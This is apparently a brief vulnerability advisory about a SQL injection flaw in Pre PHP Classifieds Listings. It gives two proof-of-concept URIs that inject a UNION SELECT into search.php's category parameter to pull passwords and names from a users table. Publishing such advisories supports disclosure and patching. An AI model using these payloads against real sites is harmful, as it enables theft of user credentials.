• info
• discussion
• exploit
• solution
• references

Pre PHP Classifieds Listings SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof of concept URI is available:

http://www.example.com/search.php?category=-1/**/union/**/select/**/pass/**/from/**/users/*
http://www.example.com/search.php?category=-1/**/union/**/select/**/name/**/from/**/users/*